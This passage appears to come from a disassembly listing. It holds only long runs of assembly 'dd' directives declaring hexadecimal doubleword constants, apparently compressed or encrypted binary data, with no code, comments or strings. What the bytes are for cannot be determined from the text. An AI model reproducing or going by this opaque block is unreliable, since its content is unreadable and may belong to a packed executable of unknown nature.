566BE0F8h, 10092024h, 21E33BB7h, 884CECE3h dd 0F2092285h, 0B81D21C9h, 0FD274A19h, 0A8538AD0h, 7CC8A1AEh dd 64496ACAh, 39ABEC19h, 7AFF40Eh, 0FE83C7FDh, 0E37FA00Dh dd 0C03E48AAh, 67FB391h, 17FA43BFh, 3B92D789h, 49386202h dd 0BBF023F1h, 982301Ah, 6C1F23Ch, 6A370814h, 3ADE5445h dd 0F9A4188Ch, 0C0ACD026h, 0A8B7C23Bh, 35E8A83Eh, 0C7DB29B3h dd 0AC137FCEh, 0A82F8846h, 0EEE609D6h, 0FCCA7C63h, 801D0537h dd 944A9AF7h, 703760B3h, 30FB64E8h, 48FE9C86h, 5C71AE0Ah dd 3A7375A5h, 8C019A30h, 4E8C0EDEh, 0AF274602h, 46C30C89h dd 0E7EF57FCh, 49B20EBh, 0BE75762Fh, 9680DF0h, 3A658213h dd 90B1417Fh, 8835C478h, 50B1452Eh, 21617CC0h, 28002DD2h dd 273A8EAAh, 0B0BAE1D9h, 8B2DA2DDh, 70CF4AF6h, 6EE63264h dd 16010FAEh, 7502FB49h, 289E883Dh, 0B2C14712h, 9AF792EAh dd 34740C23h, 16CB83B3h, 0B5518DDBh, 0C647AE52h, 0F268DDA5h dd 0D3B0474Ah, 0C03277E4h, 1738CC4Dh, 5611D222h, 98AB8156h dd 0C238CB04h, 75B46ED2h, 32000261h, 0C5F0016Fh, 0F4164164h dd 40E14F83h, 222FAAFh, 7790D3D5h, 0E98599D2h, 2C075F4Dh dd 5A6CF5C4h, 20DA35FDh, 0F5A8352Eh, 0C2830FA4h, 98C9DE3Fh dd 0E63266D7h, 4056502Dh, 29FD08D9h, 72813E50h, 2869CA0Ah dd 41B1431Fh, 7CCA1BB9h, 1943F728h, 0CA10B280h, 0A1732871h dd 79B180ECh, 5D43E750h, 0EFD7F50Dh, 46518B80h, 1E0E8646h dd 437A1971h, 0C6E1867Ch dd 19FB432Fh, 894C1233h, 0C9194919h, 19A92919h, 19196919h dd 0C64279ACh, 5863136Dh, 7C15F30Bh, 8443C53Ah, 8F1A7C29h dd 0BE73B61h, 928984BEh, 5308CC58h, 831CEC4h, 68FC0475h dd 0E34C3D2Eh, 2E325C1Eh, 1CB2FB12h, 7BE74474h, 0CBC26B75h dd 42E5D731h, 0C4230F85h, 0AA1D3ECBh, 0F9058082h, 80A8E629h dd 0E647849Ah, 4C1E1305h, 1240B6E2h, 94F35F75h, 0FE21C71Ah dd 0CAF69A6Eh, 0AAAE7D6Fh, 0A840B4CAh, 524E1533h, 0DB23C997h dd 0B3000CFFh, 24A2D4B4h, 0F581AD37h, 0A28127E4h, 95561206h dd 0C160A0C8h, 712AA640h, 146263E4h, 4E426437h, 81BF76C6h dd 0C75444A9h, 1B40BF76h, 8FF76C71h, 76CF4368h, 0F5C8C6EFh dd 37684FD8h, 317EF3BEh, 4F03646Ah, 4D4AAF42h, 3FD4D9Fh dd 0EC3ED8FBh, 8CFE93CAh, 57243FF6h, 269983C4h, 8DE93B28h dd 79BA1F50h, 48528F29h, 15657565h, 0A91850DCh, 9F4D5333h dd 71797989h, 7CD590BCh, 92953643h, 0D25AB33Bh, 5A95E9ABh dd 0D3F34EEAh, 0B9439259h, 777E4AB7h, 3BA1BC08h, 2BD246B3h dd 9FE4AB93h, 0BD24A6E0h, 0C92835E4h, 0CA8B7455h, 917BC41Fh dd 0F7031C31h, 4F05B82Dh, 0BE3AEBC7h, 45EC7074h, 0E2490AD1h dd 7E47007Ah, 641F9E8Ch, 3401F91Bh, 9AC62DE0h, 0B2A1309Ah dd 2CD46B87h, 0E96B705Fh, 0ABE34FA1h, 77079FF5h, 0C41188EAh dd 4C8AA66Dh, 0F128B98Ah, 2CFC461Eh, 1E70996Bh, 78E5FA32h dd 0EF92F09Dh, 1AB858E3h, 70C4AA1Ah, 27D0EFA9h, 78B21830h dd 1C206318h, 9CB2FA48h, 2EAF4438h, 0C5DCA28Bh, 0DDB06F59h dd 9E34336Fh, 0F0AB56FCh, 0DBE1EAE2h, 0F3AFC3Dh, 97C4277Fh dd 0E21F3157h, 0E6EA9DE8h, 0EF8225DDh, 5322BF53h, 0A5521C79h dd 0E5E9A9E6h, 47A378h, 72F96C77h, 0E5F2F414h, 8015BA6Ah dd 17709931h, 5F14B595h, 35580555h, 434AAAAFh, 7A38E52Bh dd 1D09CDF6h, 0D83EBB72h, 754FE04h, 0ABDAD554h, 3CC33E82h dd 0DD5D7946h, 0D447206Eh, 850AB93Ch, 544CA35Fh, 905E22F3h dd 0F1B33525h, 2C8B1377h, 74F8378Eh, 30B15BB4h, 0DC2F884Eh dd 0BDC3763Ch, 0C0664593h, 76ECD14Dh, 595025F9h, 0CE8DE39Ah dd 0A5754F24h, 0CE12E07Ch, 0AB8D318h, 0AC95132Ah, 336C96C2h dd 0DD5FC1Bh, 8E7CD125h, 0C8FB56F1h, 3DE3302h, 371304h dd 0BB558889h, 7B859970h, 9919A4ABh, 33BC2880h, 6DC29E0Bh dd 0C748CEF0h, 0A08C8BC8h, 5108199Ch, 5AD6848Ch, 0C84A54CCh dd 0FA588851h, 6657C477h, 6476BD2h, 1A1B3879h, 0ADF4D93Dh dd 0CFF73E0Eh, 4A8EEFA4h, 831200E1h, 1E11AFF5h, 0EB07B847h dd 0F50897AEh, 0DFB3B462h, 9A12D782h, 0A997112Fh, 0E8607B07h dd 1F0A1EF8h, 68E3A52h, 74A0EF9Eh, 0E31AFC57h, 847F1AA9h dd 4DAB5F72h, 78C132E1h, 0E22717B2h, 115295DEh, 0F922F646h dd 0F937EEC2h, 4EB5C71Ah, 664395DBh, 0E3E14E61h, 8278F1D4h dd 20B5317Bh, 0F186E039h, 4BEE5475h, 0B63B250Bh, 0E5943C4h dd 89F9D24Ah, 26235D32h, 0AC9F6E7Fh, 7482A391h, 91BB57ABh dd 0E89417E8h, 0B89DE162h, 0A8946092h, 0E52A490Ch, 34FA2F7Ah dd 0DB4D9A92h, 95692328h, 8B3DE341h, 73D3564Fh, 933D6541h dd 54CCCDE8h, 0FC86BF57h, 955356A1h, 0CD255401h, 3C6251C0h dd 655A0D3Eh, 1841CCC1h, 0A4319383h, 0A1709625h, 7FC9F61Fh dd 4D00B01h, 0F4FBA7E7h, 0D0FCCF8Bh, 15DC4982h, 47790D77h dd 52149CA2h, 0FB7C612Eh, 6AC366BAh, 23A700B2h, 0A610F14Eh dd 4E91521Eh, 7BABC547h, 0AC69C71Ch, 8E8F82A3h, 0F8CA782Bh dd 0DC15E900h, 4BA957C4h, 6F3455B5h, 0B48CF9D1h, 4E1900D5h dd 739497D5h, 29A8FEEBh, 28F14CBAh, 22AAD51Dh, 0B15089B5h dd 29908388h, 1F9F6F40h, 11367F27h, 2FA12F8Dh, 48E66B1Eh dd 132A01BCh, 0D260861Ah, 0AAF57DECh, 0F66AE598h, 9D445B19h dd 41E28481h, 0F0462DB4h, 0F468F1A8h, 3E21F1FBh, 0CDCA2F46h dd 65F84D25h, 0FC0939A1h, 0E17C6EE9h, 6017A6A1h, 0D8D6A17Ch dd 225CBCC7h, 67C5E159h, 7929131Fh, 0C66C9DE5h, 18A8EB3Ch dd 516BC031h, 8DBD8E8Ah, 0C2111CC0h, 7E2D22D7h, 27EFDAF9h dd 7046C3DFh, 0C4AE260Fh, 8A0E38E4h, 4F1130EAh, 31E5304Ah dd 4F2C10C5h, 0D650C553h, 0A9B9003h, 149EC8E7h, 898532EAh dd 11BD4570h, 315028DBh, 50C8C643h, 756F8997h, 0FCDA5F40h dd 53C810DAh, 3EC47AE1h, 0FB5F1C7Ah, 0F48254BDh, 0B881607Ah dd 8E63B8C7h, 0A9324770h, 614BC133h, 6B2A8849h, 35418AC5h dd 18854AB8h, 3DC1081Ah, 2D97A54Ah, 1D8F3F19h, 0D4051B81h dd 170203BCh, 1682153Fh, 41C9D69Fh, 4B9AEA8Ch, 2926908Ch dd 0C4E682F7h, 3B86060Dh, 34B1926h, 0E289ED03h, 0BC074335h dd 20E255A3h, 181C5DE3h, 7E54669Ch, 19463624h, 0F0CA23B1h dd 14CEC5B3h, 0C7024248h, 0A7BC34F8h, 0F214456h, 6917C5Ch dd 22884Dh, 0C92428Bh, 74C22B30h, 9190C3B5h, 610D712h dd 2DB83DF1h, 9805B1F6h, 0D5CDD22Dh, 1CD07B49h, 10818F20h dd 8041D264h, 0E0A4F430h, 65347289h, 0CDBED7D1h, 0FBAA2686h dd 0C97422F4h, 0F6841EA1h, 9E9EEA0h, 7A30EA2h, 8F17DC75h dd 26CFBD64h, 950F43A1h, 6F30A6F4h, 0ED57E97Dh, 0EE54E2ABh dd 4CA9BE22h, 97A4750Eh, 6CCAC8B9h, 0C8FF48F3h, 0C19FB119h dd 4AD2E857h, 264409Ah, 0B80652D2h, 99713749h, 1C949B80h dd 93A26612h, 77B809C6h, 0FD273E47h, 3D406E98h, 0EB23C244h dd 0F4947E01h, 0A93FAD61h, 290E0194h, 798BC257h, 9CA939A0h dd 9FE4E0FCh, 0F27F64Eh, 0F48C308h, 0D409954h, 53E476A1h dd 34B6C9FDh, 30EDD007h, 0A00EB1B5h, 74B89EDDh, 58EE2016h dd 0DC99D99h, 2D0CCB40h, 84AEC54Bh, 0FD233391h, 0BC8619E2h dd 3E13AF09h, 996A5C0h, 0FEB030E3h, 0D6F3335Eh, 0E483A7F8h dd 0F84F0A3h, 91C92814h, 8EF180B3h, 9ABCA59Ch, 5E8B5D60h dd 9FD59D6Bh, 6E83835Ah, 4B47F9F9h, 47FBA5B6h, 0D919B6B3h dd 6A7BD03h, 1704E4C3h, 7A9D9FF2h, 0DF185CEAh, 3E2984ABh dd 7F3FC343h, 30D5D4E2h, 75743DE9h, 0C344122Ah, 0E1BD20D0h dd 0ADFB8B2Fh, 0B6D47805h, 0EBF48DA5h, 0AA1C30Fh, 4C21DF30h dd 10797865h, 2387B732h, 8F839A88h, 0BB234E80h, 3928EB30h dd 0B391D01Ch, 0C4A44C4h, 0C4FFE195h, 1CA29FF7h, 0CA007986h dd 0A01B282Ah, 84E941B4h, 679428F2h, 4A02FCA0h, 0A077942Fh dd 432879Ch, 38DF08C5h, 63DCA033h, 0C770E6D3h, 0D750ADEAh dd 0D633DAC5h, 0D4294C33h, 5A5A1AEBh, 0DBAC36D6h, 0B6C6FD8Ch dd 8036D6B6h, 68D66EB5h, 84CFB174h, 0FE0A5BBAh, 0F26F5BCEh dd 0BED36057h, 0B9CCCE4Fh, 30015B09h, 0EB185048h, 47B02Dh dd 9FFD6E56h, 0BA67E3DDh, 0B5D696B2h, 2DA52D0Dh, 8BF3E9F8h dd 0E9BBCF58h, 1EF08D5Bh, 0B773D622h, 45EF4235h, 0BE36CB7Dh dd 5DD6DD6Dh, 0C6579220h, 994A5BDBh, 0CBE20C4Bh, 6B6DAD37h dd 0ECC5DB68h, 0F23595D0h, 85EBAD15h, 0C34F4696h, 8D2DF596h dd 2B89ED40h, 1F586D6Fh, 0F7FE80A3h, 0ADB2A691h, 0FAE95D75h dd 0DB8D6DF5h, 0F3CC31B6h, 3C0D7CDAh, 55C73760h, 0A6FC2D08h dd 0C6F8BB85h, 9BD5AD95h, 6A2E37D6h, 5E63686Ah, 8D2D14A3h dd 47B320B0h, 0D95E0E3Fh, 0D996837Ah, 3796B384h, 9A5DE36Ch dd 7DE9B68Ah, 6178DA9Bh, 0AECC6B7Ch, 0CCAC3EF1h, 0F83AE37h dd 0AD735FCCh, 0E72AEA58h, 0B7D7736Ch, 0FBCC30B4h, 6DB63B71h dd 85B4DB6Dh, 54CA50DFh dd 0C62B5D79h, 516626E1h, 62C977B9h, 83EB5B77h, 1BF01E5Eh dd 0D69D5C99h, 0D5595040h, 0A636C592h, 9C71A5B5h, 0FF1BF63Ch dd 0A6DD7F66h, 0AC4244D9h, 0DFFD0CBCh, 69B21941h, 0C1CFB6DFh dd 50798F77h, 36508BFh, 9DBF6FB4h, 7683DE61h, 11CE0722h dd 64CA058Ah, 0B9417728h, 9CFDCA1Bh, 0F0717566h, 1303078Fh dd 0EF1918CFh, 0E37C6DAEh, 6D717483h, 5CC08BA7h, 5BAD4599h dd 30C55177h, 0C9661520h, 772F3E16h, 0CBC656D9h, 0FE35B6B7h dd 6C00FBDFh, 3045FFC6h, 0CD35BC4Ch, 679ADD3Ah, 623EB12Dh dd 0BCFAC27Dh, 61EB55F5h, 0A0EB09EBh, 0B0EB33F5h, 9DC73E35h dd 32B39E53h, 85E726A7h, 0BCE4DF9Ch, 8E5EF39Dh, 0C7397392h dd 0CDB24B60h, 856D59B4h, 0D2AD8F36h, 675B6B56h, 6C136ADBh dd 67BED98Fh, 6E3B683Bh, 74F6D77Bh, 0E1B96BEEh, 0C53D9D5Ch dd 679ECF3Eh, 695F685Fh, 6CDF635Fh, 0F65DEDE7h, 0F6C3D99Fh dd 0FB61F60Bh, 0BCF6FB75h, 0E68DE53Fh, 0E4F7F9B1h, 943FE4E7h dd 7B20BE7Fh, 0EDFCCB7Eh, 0DFF9A5F3h, 0E22ECC72h, 0D2289E8Ah dd 0BC5F982Dh, 0C557F8BFh, 0C583C5BDh, 744E2C7Fh, 38273AA6h dd 9D939DD3h, 39A73A77h, 73EF3867h, 38E671CEh, 0E742CEEDh dd 0D3A96702h, 0ACE25CE5h, 56772E70h, 0B59C6B39h, 0EFE706CEh dd 0B53A9F9Dh, 6BE03B3Fh, 97F59F4Dh, 0EB019FB0h, 6B65EB39h dd 939B0E5Ch, 0CE40F391h, 0B6CC738Fh, 0B6D96DDBh, 0DB3CB679h dd 0AD995B42h, 0DB6756DAh, 0F36EDB68h, 7ED8F6DBh, 76DD7B60h dd 336836D8h, 32B97371h, 0E7AB82AEh, 0B8FB7236h, 72EFB9C7h dd 0B8CFDC3Dh, 0E45EE57Fh, 0EE51DCC2h, 0EE43EE7Dh, 6E47F72Ch dd 7C626208h, 0D4EE726Eh, 0DEB925DCh, 89F7295Ch, 0F6E5EFDCh dd 1B9ABEE4h, 0F720FDCAh, 734FDCE3h, 76EDD9A7h, 7D857DB7h dd 6FDFEC03h, 0A1FF63DFh, 87FB59FDh, 0C576F3F6h, 0B51EC97Eh dd 0F212F2EBh, 0F3D3792Ch, 0F3B9E666h, 0F37AF2EAh, 0E40DE74Eh dd 0F257CB9Fh, 0E68FCF3Fh, 571F917Fh, 52905090h, 0A4C15B70h dd 0F50EFF82h, 0FAAB3BFFh, 9857F505h, 1EA5FE69h, 5926198Dh dd 59C63B73h, 0CD31E69Dh, 9A97CD09h, 0F6A94D0Eh, 8B6D282Fh dd 4AAD33F6h, 0A59BA697h, 0EBB3A79Bh, 0D7ADD4EEh, 0A6DBABDDh dd 8CF7527Bh, 0BCD043EEh, 745FBAF3h, 0F4A3F543h, 0EBF7F40Bh dd 0AABFD71Fh, 0C43F58FFh, 5F3C0D10h, 0A504FC6Dh, 68D3A623h dd 15BB591Ch, 8A1D15E7h, 0CA75E520h, 4AB1CA31h, 32A67285h dd 5958B957h, 0F957BCA6h, 1AA252A0h, 6D57AAABh, 0FAA07D55h dd 25457556h, 0CB508F51h, 0AD413D4h, 0A71D41B5h, 0ABA7514Eh dd 0D5B3D533h, 0A025EA79h, 4AEA1577h, 756EFC94h, 0FAB37AADh dd 0D587EA77h, 0D5BBD5DBh, 0A7418047h, 67AB1FD5h, 0C22E0680h dd 0F34DB8BCh, 8C61CD7Bh, 3F34CFEAh, 4D67E69h, 0FF6B0769h dd 0ADAE3DA4h, 0FBA63DD1h, 0BA2FEEA3h, 0D45EEBBFh, 335D61Dh dd 0B9427ED3h, 0FA65EBFBh, 7D2AF45Bh, 14053E9Ch, 56BF5B2Bh dd 107FA75Fh, 0FF4A78B5h, 0A0F3FD67h, 0A330C75Eh, 0D56FA87Dh dd 7FCB41BBh, 0F10C4BD6h, 2CA669A6h, 0C2A98953h, 5C9B774h dd 7A65DBACh, 7A6CD4CEh, 0E981F4C7h, 0D359D313h, 0C041A60Fh dd 79811BBEh, 0B34ACC13h, 9CC53CD9h, 0CE6F9E63h, 2B9B9737h dd 0D5CD6BCDh, 309F3F98h, 93E68BFh, 3985FF5Ah, 9DF342C5h dd 0F1C62044h, 0CB5FE4CFh, 142A2B47h, 0F3D557Fh, 0F55A720Ah dd 55D3E83Dh, 0F5F51F55h, 1CF534EAh, 0D7542F5h, 0F521EA7Ah dd 0EA53EA73h, 0AB9FD48Fh, 0EAF3EADDh, 8417582Bh, 9B9AA469h dd 685032B0h, 6A1B1AB4h, 0AED34BBDh, 742301F9h, 0AB51B68Fh dd 0E97559D7h, 0A9E8D9BAh, 0E84F7587h, 405EE976h, 7606DF9Dh dd 0A2BBAD7Dh, 0A4DFD08Bh, 62FD4CFh, 0AFA55B8Dh, 0FF4BBD6h dd 0CFA30FEBh, 1807EAAEh, 0C6786F4h, 0E34A0CC7h, 9833E34Ah dd 0B6315E33h, 4DC99C62h, 980F4DB3h, 687D36DEh, 0DE74CCFAh dd 8E1A89D4h, 0E3CDAB34h, 0D96792Ch, 0A72C4796h, 0B17FDB40h dd 5AFA5A74h, 8CE46107h, 675AC6B6h, 4B5A175Ah, 1BAC2BACh dd 0B75AF7ACh, 6B17F59h, 72E259C5h, 15C5E6E3h, 0BB8C6DC5h dd 0A8376E2Fh, 8BB8C9F2h, 936A784h, 209E4DE3h, 0CB17904Fh dd 0CB37CB57h, 961F969Fh, 2907945Fh, 288629FAh, 8A791452h dd 0FBA98C22h, 4E2A4F14h, 0AB7D5281h, 8BF149F8h, 0A11153A2h dd 0AF1CAA1Ch, 14F6044Ch, 9F2A3728h, 2395BA55h, 9B2AA954h dd 70D513EAh, 0CBE078F5h, 19C2602Ch, 3A874FB4h, 89AE1344h dd 626B44D4h, 6A341334h, 0A493598Dh, 69EAC749h, 71AEC6AEh dd 79DA1468h, 0FFA8D1DAh, 63BFFAC3h, 14348CBEh, 9F0D2A18h dd 2D006E1Ah, 0D138C2FDh, 0D3B4C534h, 25E9ACF4h, 39E86DD3h dd 7DC76827h, 32ECF558h, 9CF59DFFh, 8064341Bh, 0B722D225h dd 59E65A64h, 8971400Ah, 4EADD886h, 43B8D4EBh, 0E842C271h dd 0ED1D24A1h, 0CB5F0BA0h, 15A314C3h, 0B3158572h, 57CA23C3h dd 54F50654h, 0EAFDF160h, 3493D547h, 0A557F47Ah, 56CD1EE6h dd 64DD00CDh, 1EEE925Dh, 0A78C66DDh, 9857DD56h, 73EB4739h dd 0A5F5F3F4h, 7FF427FAh, 0ACE21AC4h, 864346FEh, 2FE18E61h dd 8E187F86h, 84373E1Ah, 6F188718h, 0F318E632h, 9F1B8F8Dh dd 0D8D5FE36h, 1C613C68h, 14C9FA69h, 0CF374E6Eh, 0BB31DB33h dd 655E69DFh, 1F7E653Eh, 0E6F7CAB3h, 66549450h, 7D6515B9h dd 6822F2CAh, 75EB3F44h, 0DBD611D6h, 0F9D639ADh, 21D69DD6h dd 14E3C371h, 0AFB8BA71h, 3090C6B1h, 635A6F5Eh, 94CF954Ch dd 0C9F7E5DBh, 2EBF931Fh, 512E5CFFh, 51B8A75Ch, 0AA915931h dd 0A458A398h, 0A03C56A8h, 0C638ADD8h, 152F9066h, 282E28DFh dd 958228AEh, 958395FDh, 94A395C3h, 4AC9CAB1h, 0D9F5E61Dh dd 6E522CAh, 3FCA03E5h, 0B7D4C32Bh, 0AD18ADA8h, 0E3EAC7Ch dd 0FD50735Ah, 2D12660Ah, 4D762BD6h, 0F35EA6B9h, 0F301A68Ch dd 0EF9ABBCAh, 3345735h, 756837B5h, 0B16D2CDAh, 59BB5AB6h dd 55F680FBh, 4BDAFBEDh, 0A3B55FDAh, 953A3174h, 0C04BA8CEh dd 0B744B10Ch, 6EB77746h, 0BA77EE93h, 0BA23BAEDh, 0EADF754Fh dd 0F442E92Eh, 0E837F483h, 0F513F463h, 4ADBB406h, 56FD7AFDh dd 0B09AC0ACh, 9402FD12h, 6D418C68h, 6EDC3048h, 67986598h dd 36286C58h, 37AFA054h, 3C31EE18h, 0DDB3F98Fh, 0DEBC6110h dd 6DDC6298h, 1534C5BCh, 0A6FDC9B3h, 0A1AEB14Fh, 28681135h dd 0F40DE3DAh, 851154A1h, 0D0A31816h, 0B228A62Bh, 65140B14h dd 5140BB8Ah, 4A78AF7Fh, 51C50FF1h, 0F78A5BC5h, 0AE7E9731h dd 0A898AAB8h, 0FCAC029Ch, 0F2B5F94Ch, 0E545E53Bh, 0D540E555h dd 5044D528h, 0D0E6035Dh, 0CA915554h, 0EB07BAA1h, 0BFAA5D83h dd 27551AAAh, 0D631F54h, 0F8460BF2h, 6A4DF530h, 7D513AA3h dd 0D6067ABBh, 0E540739Dh, 0BF9C6076h, 2B45BEA9h, 71B56AD7h dd 0B3B4DBDAh, 0F9B5F3B5h, 0F5DA15DAh, 0B769DFDAh, 0F662776Bh dd 8333A51Dh, 4CC55EF6h, 0C7AF5FD1h, 3305315Ch, 1AFD62C5h dd 4CF501BDh, 0C734D41h, 0B06B0CCBh, 6A13F83Eh, 18C63128h dd 166B31B3h, 0AB18571Bh, 5B8C9B8Ch, 0C193328Dh, 0BA631D34h dd 8EAC1400h, 41FB9DCDh, 6AC07EBFh, 0D5B366EEh, 557A059Ch dd 0DE6ADE66h, 0D5803E6Dh, 8B7329D5h, 247815B9h, 0CB3F4B1h dd 196F5CB2h, 0B167196Dh, 0B72D925Ah, 0B4E5BD63h, 0C03CB7ACh dd 663F7FB0h, 69CB26CFh, 5A047CBh, 0D052ADFDh, 38D69181h dd 40A82E6Bh, 0F5A375A5h dd 0D693EB61h, 5BCFAC67h, 5A9FAC5Bh, 637EB4BFh, 223713EDh dd 9BB8C6EEh, 0A9C7C6E3h, 5371CCE3h, 0AE2B2E3h, 56E24AE2h dd 0DB8BADC4h, 0EE35B714h, 719DB8F1h, 10BDC74Fh, 0BBDC4AF7h dd 0B5C71F71h, 0F714FDC5h, 0EA0AD10Bh, 4BE8F60Ch, 7C84795Fh dd 7C8C7C84h, 7A17563Ch, 0C966EAACh, 16B600EFh, 0D7CA57CBh dd 0EC5EFC8h, 0E7F2AFEAh, 4540C7E4h, 8A356708h, 0C54CC534h dd 8A4D8A9Dh, 5EB7A03Fh, 68A87C57h, 0BF41CC3h, 0CA81A0E6h dd 6578CA61h, 1753D63Eh, 6354C394h, 0EBAA8554h, 93D463D4h dd 0FEAC5AD5h, 0CCDB3153h, 6F639755h, 35FA84F4h, 39E68675h dd 931AA7CDh, 0F95B3A76h, 0D4BF6937h, 0A3EDA4FEh, 0E0EB1A7Bh dd 0D2FF7537h, 0F52BD68Dh, 0FD0EF533h, 4F91D04Eh, 5C9CFB1h dd 8F0CB986h, 3E1A761Ah, 0E4339C34h, 0E358ED1Ah, 0C31E321Fh dd 6E9AB508h, 2D660EC3h, 0E98B7CDAh, 6CC29373h, 45A08732h dd 0B4ECB41Fh, 58B16B3Ch, 594FAD8Bh, 46B58CFFh, 0AF417603h dd 7F59CF5Ah, 0CB89CEB4h, 0D58A5B8Fh, 9D718FFFh, 0D01DFF54h dd 88324B5Bh, 91F2A1F2h, 2EC58F2h, 0E5BBE4AAh, 14E22B37h dd 1993B1ABh, 2CDB758Ch, 0B1951FE5h, 67AAF5AAh, 63EAB554h dd 1BD805EAh, 0D48CD7EEh, 46E755FEh, 0EDE96719h, 77F53BFAh dd 0A7DFD681h, 17FF447Fh, 0E8CED3ECh, 8DD25113h, 0D2500786h dd 1CB2833Fh, 75613432h, 1CB0D575h, 8CE7923Bh, 0B71CB57Fh dd 0B3C96DBCh, 0ADCB5916h, 9716B0BBh, 905472D0h, 92AF4E81h dd 233F253Fh, 29DE45FFh, 516E2A97h, 8E98A6DCh, 8A03EFB5h dd 0CAE91517h, 0E57CE52Ch, 656AE572h, 8F77D615h, 5F2BF72Ah dd 8AEABEC7h, 0B15526F2h, 0B8AC41EAh, 0A935519Fh, 87CE06DEh dd 57A57F60h, 0A917AB27h, 0F1F56397h, 0F575FA92h, 0EA8BEA27h dd 6AF7353Bh, 0A43CD7EEh, 5C734A79h, 0AAE69DF3h, 4E561066h dd 0B153B593h, 2DAB9A72h, 0E6D69ED3h, 46B0AAE8h, 0AA4EA3FAh dd 682DE857h, 9EB047EFh, 1FFEABFEh, 6FBD5FD8h, 0FB9F6370h dd 0E349F198h, 0D80FE319h, 17324EEDh, 0DB7D9E62h, 0F4E831FCh dd 68ABE64Fh, 5196E1E3h, 132C5B96h, 0C98B2A2Dh, 0F6558292h dd 0B8D89617h, 7125B8E4h, 0E23B71E5h, 187DC5F6h, 8F639F7h dd 4CC31D0h, 0D1F2A5EDh, 0BBE55BF2h, 0E330FBE4h, 0CA6D2A24h dd 0E53CCA39h, 1869CA43h, 26305BB1h, 0A4FFABCFh, 1F35179h dd 0B4E31456h, 6377B433h, 0FED4EE34h, 1B587B4Dh, 55D4CBA6h dd 75FB7CA0h, 586D75A7h, 0DAC58C4Fh, 0F84A0375h, 7F43BE85h dd 5860C1BDh, 0EA055862h, 66D0DC7Dh, 6B1C6FE8h, 0DC48C34Ch dd 78D47C60h, 0B181F8D4h, 0AA0318C3h, 2774DB33h, 4C9FE0C6h dd 2AB731C7h, 9AB7C541h, 409F379Fh, 5AC7BE0Dh, 0BE4B16F5h dd 0D5B2CAA5h, 1CB7BF2h, 4EAC11CBh, 0BCBF40DFh, 37F6D58Fh dd 3F2DEF96h, 2358FA5Bh, 6F5837ACh, 62C49EC6h, 0B4CD6A9Dh dd 7ACD63E6h, 0C63D7597h, 47D6FDDCh, 0B17F73D1h, 4C640E92h dd 0AECD9049h, 9B7EBAC5h, 0F5D63772h, 0CA73CA2Dh, 9D4DB574h dd 9E05CEA5h, 0ABE7542Fh, 2C1AB10Bh, 0B2B03B53h, 16D6CB3Ah dd 2682D597h, 5CA77314h, 32F98A93h, 0B5AA9B5Eh, 83417369h dd 0B0DBB4AAh, 558BDD82h, 51FD41E8h, 68EC29FDh, 86510C42h dd 8521D8D3h, 0E1CD4398h, 72DE56DDh, 2E799273h, 0E8F99C76h dd 15506295h, 0B4415607h, 0DE6CDF16h, 0C36E5A82h, 7403BAACh dd 0AF798F66h, 0CCA834F9h, 39D9F459h, 5F379F3h, 877365F3h dd 5884B059h, 16E12D42h, 28B06629h, 66B8B44Bh, 5779809Fh dd 0AF63D16Dh, 0B2496F1Fh, 966C5AA4h, 0E6FDEC2Ch, 9DA2165Ah dd 96C52D0Ah, 0BB038B32h, 0B36835B4h, 65AD4B1Ah, 0DA0B65B3h dd 0B7659B6Eh, 3ADF8F65h, 0F48D6A5Fh, 0AD63F1AEh, 0AB72AC13h dd 9AB7AADAh, 24D6F1ADh, 0DD35AA6Bh, 8166B36Ah, 2AC5CD76h dd 885ADF26h, 75665991h, 0B1AD8E80h, 0AC6B5956h, 385738B5h dd 5EC56D63h, 7A518DC0h, 0BC950ADEh, 0CE968B78h, 36E55240h dd 942CE29Ch, 53C76217h, 2B59D189h, 26DF22DFh, 23DF21DFh dd 959F956Fh, 0B0E7E5BBh, 0BF20BEB7h, 0A0BBDD8Ch, 2A845108h dd 924F98D4h, 62E6AB30h, 7310B65Fh, 3EC50ECAh, 614ECDECh dd 8D05692Eh, 6E12BDA2h, 6CA341F3h, 62CA85CAh, 6FFA2565h dd 0AB707A33h, 0CCF62F72h, 6CFED9FBh, 7D41BABFh, 0F58CDD54h dd 0B5EB0B4Eh, 8F3580Bh, 0B1461158h, 0D62C4F35h, 2D9A4918h dd 359B5D98h, 9A2D35A7h, 4D59CD56h, 7745AEA3h, 452B2D1Eh dd 82D1CA6Bh, 0D472D636h, 64B9906Ah, 14FB61B2h, 0BAD6B167h dd 50ACB8A0h, 85AACCABh, 0B19B8BA0h, 8CC06F2Ah, 4E755675h dd 88F9C525h, 7C049D59h, 0C3B9C329h, 0BE237576h, 8DDF0E7Eh dd 0EAD8C8D2h, 9A6B0CAAh, 0F8DD9AEDh, 5CD29E2h, 0D8641DECh dd 3E63A4FFh, 0ECE604AFh, 0C29CE606h, 1B43A23Eh, 0C9D58BA2h dd 0B9BA5975h, 0BAB5D518h, 0B93718BDh, 42868586h, 0E5E61943h dd 6D5B9C2Ah, 0EC336C31h, 0EC31EC30h, 1A183433h, 0C398CD0Dh dd 71DFB05Ah, 2E1BCE1Bh, 0A863041Bh, 3524D431h, 0A6649945h dd 0F54CAC58h, 0AA5378A6h, 0AA7386C9h, 0CBBD9885h, 0FD8954Ch dd 6EC282D6h, 9C0ED33h, 83533EC5h, 0F3AB11A9h, 56D0C053h dd 0D7AB1B93h, 980126CBh, 0CA96052Ah, 0B372A180h, 4E6F1CDEh dd 0B9CCDB35h, 6042D2C0h, 0B3B02568h, 0DB9D816h, 0BCC7B998h dd 6E60DCCFh, 6E82CEF4h, 0B465E6E0h, 4B85A85Eh, 7B459F6Bh dd 0A1660F51h, 0F22A170Fh, 8A5587D1h, 0EF63D82Dh, 9A283451h dd 2D15A715h, 8AB3C9E8h, 334DE873h, 3D1D31FAh, 8B9CAB99h dd 1657CCDEh, 94CB47A2h, 7D8F710Eh, 0A70A7952h, 33CA2D50h dd 1AE556CAh, 46AA9555h, 0A6DAAB55h, 6F5683DAh, 9560B556h dd 0C72D4130h, 758CDCD8h, 0F5353EC1h, 0D28C29F9h, 1DA3180Bh dd 0F5F448EAh, 0E36CAC04h, 0B173FAD1h, 0DEC4ADAAh, 766BB67h dd 0A6A0E07Ah, 567EBD11h, 46C9C6E3h, 1B543688h, 0B93E138Eh dd 63D5AD56h, 0B696724h, 0D86B23D1h, 7D8EDE68h, 51ED7EE9h dd 0A4F6B36Dh, 0ADD6ACF6h, 0C415A73Dh, 0AB1CA95Dh, 2E5D2CD2h dd 0ABA1C97Ah, 3B74EAC4h, 628EB8CEh, 731A7A3Dh, 0FC8C59C7h dd 216EA00Bh, 